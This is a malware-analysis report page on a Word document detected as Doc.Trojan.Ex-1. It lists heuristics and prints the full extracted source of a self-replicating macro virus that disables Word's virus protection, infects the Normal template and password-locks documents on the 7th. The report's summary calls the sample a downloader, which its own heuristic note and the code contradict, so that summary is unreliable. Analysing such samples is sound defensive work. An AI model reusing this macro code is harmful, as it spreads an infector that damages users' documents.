MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains a legacy WordBasic auto-exec macro (auTOOPen) that attempts to export its own code to 'c:\x.sys'. It then conditionally imports this exported code back into the document or NormalTemplate, suggesting an attempt to obfuscate or re-inject malicious functionality. The macro's logic and the presence of legacy markers indicate a downloader or dropper mechanism.
Heuristics 4
-
ClamAV: Doc.Trojan.Ex-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ex-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 846 bytes |
SHA-256: 47a9f3ae7093076b9588f3c681ad8455c4c08072e80f4b83c55bbbce9dedc3fa |
|||
|
Detection
ClamAV:
Doc.Trojan.Ex-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "x"
Sub auTOOPen()
On Error Resume Next
Set n = NormalTemplate.VBProject.VBComponents: Set d = ActiveDocument.VBProject.VBComponents: Set c = ActiveDocument
e = Chr(120): xz = "c:\x.sys": d(e).Export xz
Options.SaveNormalPrompt = False: Options.VirusProtection = False
If Day(Now()) = 7 Then c.Password = e
For i = 1 To n.Count
If n(i).Name = e Then nx = -1
Next i
For i = 1 To d.Count
If d(i).Name = e Then dx = -1
Next i
If nx = -1 And dx = 0 Then d.Import xz: c.SaveAs (c.FullName)
If nx = 0 And dx = -1 Then n.Import xz: NormalTemplate.Save
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.